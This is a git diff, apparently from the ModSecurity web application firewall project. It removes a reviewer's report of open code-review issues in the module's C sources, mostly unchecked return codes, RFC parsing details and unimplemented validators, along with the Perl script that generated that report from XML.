apr_file_read_full(geo->db, &buf, 1, &nbytes); - /* TODO: check rc */ - geo->dbtype = (int)buf[0]; - - -[brian] Suggestion @ 325 - -Fix TODO. - -apr_file_seek(geo->db, APR_SET, &seekto); - /* TODO: check rc */ - rc = apr_file_read_full(geo->db, &buf, (2 * reclen), &nbytes); - - -[brian] Suggestion @ 374 - -Fix TODO. - -apr_file_seek(geo->db, APR_SET, &seekto); - /* TODO: check rc */ - rc = apr_file_read_full(geo->db, &cbuf, sizeof(cbuf), &nbytes); - - - -File: apache2/msc_geo.h -=================================================================== -[brian] Suggestion @ 16 - -This value may not be portable based on endianness. The algorithm compares it to the IP address as int in host order. - -#define GEO_COUNTRY_OFFSET 0xffff00 - - - -File: apache2/msc_logging.c -=================================================================== -[brian] ProgramLogic @ 235 - -This allows an empty string as a valid part. This misvalidates "ctl:auditLogParts=+", etc. - -is_valid_parts_specification - - -[brian] Suggestion @ 432 - -apr_dir_make_recursive will attempt to create the dir straight away and if that fails keep backing off a dir until it can start creating, so I see no need to cache. Besides, what happens if you cache, then someone deletes the path from outside apache? - -/* IMP1 Surely it would be more efficient to check the folders for - * the audit log repository base path in the configuration phase, to reduce - * the work we do on every request. Also, since our path depends on time, - * we could cache the time we last checked and don't check if we know - * the folder is there. - */ - rc = apr_dir_make_recursive(entry_basename, CREATEMODE_DIR, msr->mp); - - - -File: apache2/msc_multipart.c -=================================================================== -[brian] Irrelevant @ 18 - -Remove code? - -#if 0 -static char *multipart_construct_filename(modsec_rec *msr) { - char c, *p, *q = msr->mpd->mpp->filename; - char *filename; - - /* find the last backward slash and consider the - * filename to be only what's right from it - */ - p = strrchr(q, '\\'); - if (p != NULL) q = p + 1; - - /* do the same for the forward slash */ - p = strrchr(q, '/'); - if (p != NULL) q = p + 1; - - /* allow letters, digits and dots, replace - * everything else with underscores - */ - p = filename = apr_pstrdup(msr->mp, q); - while((c = *p) != 0) { - if (!( isalnum(c)||(c == '.') )) *p = '_'; - p++; - } - - return filename; -} -#endif - - -[brian] ProgramLogic @ 52 - -The multipart C-D header is case insensitive (rfc 2183), so we should probably use strncasecmp() here. - -/* accept only what we understand */ - if (strncmp(c_d_value, "form-data", 9) != 0) { - return -1; - } - - -[brian] Suggestion @ 75 - -This allows for a name of "", so maybe check for name[0] == '\0' and return an error. Although we catch this later on as an unrecognized name and return -10. - -start = p; - while((*p != '\0')&&(*p != '=')&&(*p != '\t')&&(*p != ' ')) p++; - if (*p == '\0') return -4; - - name = apr_pstrmemdup(msr->mp, start, (p - start)); - - -[brian] Suggestion @ 106 - -I think this is wrong. RFC 822 defines a quoted-string as <"> *(qtext/quoted-pair) <"> and quoted-par being able to quote any CHAR. - -/* only " and \ can be escaped */ - if ((*(p + 1) == '"')||(*(p + 1) == '\\')) { - p++; - } - else { - /* improper escaping */ - - /* We allow for now because IE sends - * improperly escaped content and there's - * nothing we can do about it. - * - * return -9; - */ - } - - -[brian] Suggestion @ 122 - -For a quoted value we just include everything until the end quote. The field values should be US-ASCII 'qtext' or 'quoted-pair' (RFC 822) or escaped using RFC 2047. - -if (*p == '"') { - *t = '\0'; - break; - } - - -[brian] Suggestion @ 143 - -RFC 2045 defines an 'attribute' as "ALWAYS case-insensitive", so these should be strncasecmp() - -if (strcmp(name, "name") == 0) { - if (msr->mpd->mpp->name != NULL) return -14; - msr->mpd->mpp->name = value; - - if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "Multipart: Content-Disposition name: %s", - log_escape_nq(msr->mp, value)); - } - } - else - if (strcmp(name, "filename") == 0) { - - -[brian] Suggestion @ 722 - -Cannot find anything that supports that this is or is not allowed. - -/* Flag for whitespace after parameter name. */ - - -[brian] Suggestion @ 735 - -Cannot find anything that supports that this is or is not allowed. - -/* Flag for whitespace before parameter value. */ - - - -File: apache2/msc_util.c -=================================================================== -[brian] Suggestion @ 24 - -Be more consistent in naming. - -#define VALID_HEX(X) (((X >= '0')&&(X <= '9')) || ((X >= 'a')&&(X <= 'f')) || ((X >= 'A')&&(X <= 'F'))) -#define ISODIGIT(X) ((X >= '0')&&(X <= '7')) - - -[brian] Suggestion @ 1186 - -Fix TODO. - -char *resolve_relative_path(apr_pool_t *pool, const char *parent_filename, const char *filename) { - if (filename == NULL) return NULL; - // TODO Support paths on operating systems other than Unix. - if (filename[0] == '/') return (char *)filename; - - return apr_pstrcat(pool, apr_pstrndup(pool, parent_filename, - strlen(parent_filename) - strlen(apr_filepath_name_get(parent_filename))), - filename, NULL); -} - - - -File: apache2/msc_xml.c -=================================================================== -[brian] Suggestion @ 27 - -Remove #if 0'd code? - -#if 0 -static void xml_receive_sax_error(void *data, const char *msg, ...) { - modsec_rec *msr = (modsec_rec *)data; - char message[256]; - - if (msr == NULL) return; - - apr_snprintf(message, sizeof(message), "%s (line %d offset %d)", - log_escape_nq(msr->mp, msr->xml->parsing_ctx->lastError.message), - msr->xml->parsing_ctx->lastError.line, - msr->xml->parsing_ctx->lastError.int2); - - msr_log(msr, 5, "XML: Parsing error: %s", message); -} -#endif - - - -File: apache2/pdf_protect.c -=================================================================== -[brian] Suggestion @ 26 - -Change from TODO to ENH. - -// TODO We need ID and REV values for the PDF XSS alert. - -// TODO It would be nice if the user could choose the ID/REV/SEVERITY/MESSAGE, etc. - - -[brian] Suggestion @ 217 - -Change from TODO to ENH. - -// TODO Should we look at err_headers_out too? - - -[brian] Suggestion @ 244 - -Change from TODO to ENH. - -// TODO application/x-pdf, application/vnd.fdf, application/vnd.adobe.xfdf, - // application/vnd.adobe.xdp+xml, application/vnd.adobe.xfd+xml, application/vnd.pdf - // application/acrobat, text/pdf, text/x-pdf ??? - - -[brian] Missing @ 472 - -Add the missing alert. - -// TODO Log alert - - - -File: apache2/re.c -=================================================================== -[brian] Missing @ 47 - -Need to log on failure. - -var = msre_create_var(ruleset, telts[i].key, telts[i].val, NULL, error_msg); - if (var == NULL) return -1; - - -[brian] Suggestion @ 297 - -Should replace with isvarnamechar() if possible. - -while((*p != '\0')&&(*p != '|')&&(*p != ':')&&(*p != ',')&&(!isspace(*p))) p++; /* ENH replace with isvarnamechar() */ - - -[brian] Irrelevant @ 608 - -Does not appear to be used anywhere. - -/** - * Destroys an engine instance, releasing the consumed memory. - */ -void msre_engine_destroy(msre_engine *engine) { - /* Destroyed automatically by the parent pool. - * apr_pool_destroy(engine->mp); - */ -} - - -[brian] Optimization @ 1150 - -tags set to NULL would be a bit better as it would stop apr_pstrcat() earlier, but tags *must* remain last or wierd results. - -char *tags = ""; - - -[brian] Suggestion @ 1179 - -Implement TODO. - -//TODO: restrict to 512 bytes - - -[brian] Optimization @ 1528 - -This causes two loops through the action list. Perhaps there is a more performant way to do these at the same time? Maybe split into two lists? - -/* Perform non-disruptive actions. */ - msre_perform_nondisruptive_actions(msr, rule, rule->actionset, mptmp); - - /* Perform disruptive actions, but only if - * this rule is not part of a chain. - */ - if (rule->actionset->is_chained == 0) { - msre_perform_disruptive_actions(msr, rule, acting_actionset, mptmp, my_error_msg); - } - - - -File: apache2/re.h -=================================================================== -[brian] Irrelevant @ 86 - -Does not appear to be used anywhere. - -void DSOLOCAL msre_engine_destroy(msre_engine *engine); - - -[brian] Suggestion @ 148 - -Why not stored in op_param_data like @rx, etc. The param_data is used w/exec action for lua. - -/* Compiled Lua script. */ - msc_script *script; - - - -File: apache2/re_actions.c -=================================================================== -[brian] Optimization @ 170 - -This implementation comment needs to be coded as many string operators now attempt to resolve macros. - -/* IMP1 Duplicate the string and create the array on - * demand, thus not having to do it if there are - * no macros in the input data. - */ - - data = apr_pstrdup(mptmp, var->value); /* IMP1 Are we modifying data anywhere? */ - arr = apr_array_make(mptmp, 16, sizeof(msc_string *)); - if ((data == NULL)||(arr == NULL)) return -1; - - -[brian] Irrelevant @ 209 - -This #if 0'd out code should be removed. - -/* Removed %0-9 macros as it messes up urlEncoding in the match - * where having '%0a' will be treated as %{TX.0}a, which is incorrect. - * */ -#if 0 - else if ((*(p + 1) >= '0')&&(*(p + 1) <= '9')) { - /* Special case for regex captures. */ - var_name = "TX"; - var_value = apr_pstrmemdup(mptmp, p + 1, 1); - next_text_start = p + 2; - } -#endif - - -[brian] Suggestion @ 257 - -Should log a level 9 msg here. - -} else { - /* We could not identify a valid macro so add it as text. */ - part = (msc_string *)apr_pcalloc(mptmp, sizeof(msc_string)); - if (part == NULL) return -1; - part->value_len = p - text_start + 1; /* len(text)+len("%") */ - part->value = apr_pstrmemdup(mptmp, text_start, part->value_len); - *(msc_string **)apr_array_push(arr) = part; - - next_text_start = p + 1; - } - - -[brian] Optimization @ 276 - -Use apr_array_pstrcat(msr->mp, arr, NULL) instead? - -/* If there's more than one member of the array that - * means there was at least one macro present. Combine - * text parts into a single string now. - */ - if (arr->nelts > 1) { - /* Figure out the required size for the string. */ - var->value_len = 0; - for(i = 0; i < arr->nelts; i++) { - part = ((msc_string **)arr->elts)[i]; - var->value_len += part->value_len; - } - - /* Allocate the string. */ - var->value = apr_palloc(msr->mp, var->value_len + 1); - if (var->value == NULL) return -1; - - /* Combine the parts. */ - offset = 0; - for(i = 0; i < arr->nelts; i++) { - part = ((msc_string **)arr->elts)[i]; - memcpy((char *)(var->value + offset), part->value, part->value_len); - offset += part->value_len; - } - var->value[offset] = '\0'; - } - - -[brian] Missing @ 402 - -Implement. Need to check if Apache will return an invalid status code - -/* status */ -static char *msre_action_status_validate(msre_engine *engine, msre_action *action) { - /* ENH action->param must be a valid HTTP status code. */ - return NULL; -} - - -[brian] Missing @ 422 - -Implement. - -/* pause */ -static char *msre_action_pause_validate(msre_engine *engine, msre_action *action) { - /* ENH Validate a positive number. */ - return NULL; -} - - -[brian] Missing @ 434 - -Implement as a valid URI check with apr_uri_parse()? - -/* redirect */ - -static char *msre_action_redirect_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - -[brian] Missing @ 465 - -Implement as a valid URI check with apr_uri_parse()? - -/* proxy */ - -static char *msre_action_proxy_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - -[brian] Irrelevant @ 507 - -I do not see a need to validate beyound what is already done in the init function. - -msre_action_skip_validate -msre_action_skipAfter_validate - - -[brian] Missing @ 570 - -Implement. - -/* phase */ - -static char *msre_action_phase_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - -[brian] Suggestion @ 612 - -Probably should also calc length and validate a length > 0 instead of just checking NULL. Other checks would benefit from checking a length as well, so no harm in calculating that. - -if (value == NULL) { - return apr_psprintf(engine->mp, "Missing ctl value for name: %s", name); - } - - -[brian] Irrelevant @ 708 - -Why register init() if we do not use it? - -static apr_status_t msre_action_ctl_init(msre_engine *engine, msre_actionset *actionset, - msre_action *action) -{ - /* Do nothing. */ - return 1; -} - - -[brian] Optimization @ 774 - -TODO needs looked into. - -if (strcasecmp(name, "auditEngine") == 0) { - if (strcasecmp(value, "on") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_ON; - msr->usercfg->auditlog_flag = AUDITLOG_ON; - } - - if (strcasecmp(value, "off") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_OFF; - msr->usercfg->auditlog_flag = AUDITLOG_OFF; - } - - if (strcasecmp(value, "relevantonly") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_RELEVANT; - msr->usercfg->auditlog_flag = AUDITLOG_RELEVANT; - } - - msr_log(msr, 4, "Ctl: Set auditEngine to %d.", msr->txcfg->auditlog_flag); // TODO - - return 1; - } else - - -[brian] Suggestion @ 790 - -Not positive why the TODO here. Perhaps for a decision as to log and/or at what level? - -msr_log(msr, 4, "Ctl: Set auditEngine to %d.", msr->txcfg->auditlog_flag); // TODO - - -[brian] Missing @ 855 - -Should log an internal error here. - -else { - /* ENH Should never happen, but log if it does. */ - return -1; - } - - -[brian] Suggestion @ 1152 - -Probably should use apr_strtoi64 where we can tell if there was an error in conversion since we are potentially taking a value from a macro expansion. Also may want to look for overflow. - -value += atoi(var_value); - - -[brian] Suggestion @ 1288 - -Not sure why we would not want to deprecate a TX var. Further rules could use this even if TX is not persisted. - -/* IMP1 Add message TX variables cannot deprecate in value. */ - - -[brian] Suggestion @ 1383 - -The timeout is hardcoded to 3600. The docs state TIMEOUT is read-only, but this is not true. So, you can modify TIMEOUT. - -/* IMP1 Is the timeout hard-coded to 3600? */ - - -[brian] Suggestion @ 1555 - -We already have support for relative filenames, but cannot get to this data from here. This needs solved by passing more data to the validate function (cmd_parms rec). Maybe need a warning here stating we do not support them yet, or it might be confusing to users that we do not here but do elsewhere. - -/* TODO Support relative filenames. */ - - -[brian] Suggestion @ 1557 - -Not sure using an extension is a good idea here. Better I think would be to specify a type: "exec:[type=]/path/to/file" as in "exec:lua=/path/to/script" and make param_data a script_rec with a type and value. Also we use the abstract param_data here vs using a specific field as in SecRuleScript. - -/* Process Lua scripts internally. */ - if (strlen(filename) > 4) { - char *p = filename + strlen(filename) - 4; - if ((p[0] == '.')&&(p[1] == 'l')&&(p[2] == 'u')&&(p[3] == 'a')) { - /* It's a Lua script. */ - msc_script *script = NULL; - - /* Compile script. */ - char *msg = lua_compile(&script, filename, engine->mp); - if (msg != NULL) return msg; - - action->param_data = script; - } - } - - -[brian] Suggestion @ 1578 - -This assumes lua is the only type (which it is now), but should be re-writen with a script_rec stored in param_data. - -if (action->param_data != NULL) { /* Lua */ - msc_script *script = (msc_script *)action->param_data; - char *my_error_msg = NULL; - - if (lua_execute(script, NULL, msr, rule, &my_error_msg) < 0) { - msr_log(msr, 1, "%s", my_error_msg); - return 0; - } - } else { /* Execute as shell script. */ - - - -File: apache2/re_operators.c -=================================================================== -[brian] Missing - -Need more unit tests for operators. Start with new operators. - - -[brian] Suggestion @ 246 - -Use resolve_relative_path() instead? Maybe a config_relative_path() to just get the path? - -/* Get the path of the rule filename to use as a base */ - rulefile_path = apr_pstrndup(rule->ruleset->mp, rule->filename, strlen(rule->filename) - strlen(apr_filepath_name_get(rule->filename))); - - -[brian] Missing @ 310 - -Need to check return code and log an error on failure. - -acmp_add_pattern(p, buf, NULL, NULL, strlen(buf)); - - -[brian] Missing @ 315 - -Need to check return code and log an error on failure. - -acmp_prepare(p); - - -[brian] Optimization @ 379 - -See if apr_strmatch is faster. - -msre_op_within_execute - - -[brian] Optimization @ 442 - -See if apr_strmatch is faster. - -msre_op_contains_execute - - -[brian] Optimization @ 506 - -See if apr_strmatch is faster. - -msre_op_containsWord_execute - - -[brian] Missing @ 1330 - -Need an error_msg set for lua execution error. - -rc = lua_execute(script, target, msr, rule, error_msg); - if (rc < 0) { - /* Error. */ - return -1; - } - - -[brian] Missing @ 1477 - -@validateurlEncoding does not output VAR name nor offset in error_msg on match. - -msre_op_validateUrlEncoding_execute - - -[brian] Missing @ 1885 - -@m operator is not documented. This does the same as @contains, so it was suggested earlier to use the @m algorithm for contains (if faster) and drop @m. - -/* m */ - msre_engine_op_register(engine, - "m", - msre_op_m_param_init, - msre_op_m_execute - ); - - - -File: apache2/re_tfns.c -=================================================================== -[brian] Optimization @ 77 - -No need to set this on all. Only set it once when we find the first non-space char. - -(*rval)[i] = '\0'; - - - diff --git a/review/review-summary.pl b/review/review-summary.pl deleted file mode 100755 index 799f1672..00000000 --- a/review/review-summary.pl +++ /dev/null @@ -1,50 +0,0 @@ -#!/usr/bin/perl -use strict; -use XML::Simple; -#use Data::Dumper; - -my $REVIEW = shift @ARGV; -my %ISSUES = (); - -unless (defined $REVIEW) { - print STDERR "Usage: $0 [ ... ]\n"; - exit 1; -} - -# XML => hashref -my $review = XMLin( - $REVIEW, - KeepRoot => 0, - KeyAttr => { ReviewIssue => "+id" }, - ContentKey => "value", - SuppressEmpty => undef, -); -#print Dumper($review); - -# Reorg hashref to be only open issues by filename -for my $rec (values %{$review->{ReviewIssue} || {}}) { - my $key = defined($rec->{File}->{value}) ? $rec->{File}->{value} : ""; - push @{$ISSUES{$key}}, $rec if ($rec->{Status} =~ m/\.open$/); -} - - -# Write report -for my $fn (@ARGV ? (@ARGV) : (sort keys %ISSUES)) { - print "File: $fn\n"; - print "===================================================================\n"; - for my $r (sort { $a->{File}->{line} <=> $b->{File}->{line} || $a->{ReviewerId} cmp $b->{ReviewerId} } @{$ISSUES{$fn} || []}) { - (my $type = $r->{Type}) =~ s/^.*\.([^\.]+)$/$1/; - $type = ucfirst($type); - (my $res = $r->{Resolution}) =~ s/^.*\.([^\.]+)$/$1/; - my $line = ($r->{File}->{line} and $r->{File}->{line} > 1) ? " @ $r->{File}->{line}" : ""; - my $summary = $r->{Summary} ? "\n$r->{Summary}\n\n" : ""; - my $desc = $r->{Description} ? "$r->{Description}\n\n" : ""; - - print << "EOT"; -[$r->{ReviewerId}] $type$line -$summary$desc -EOT - } - print "\n"; -} -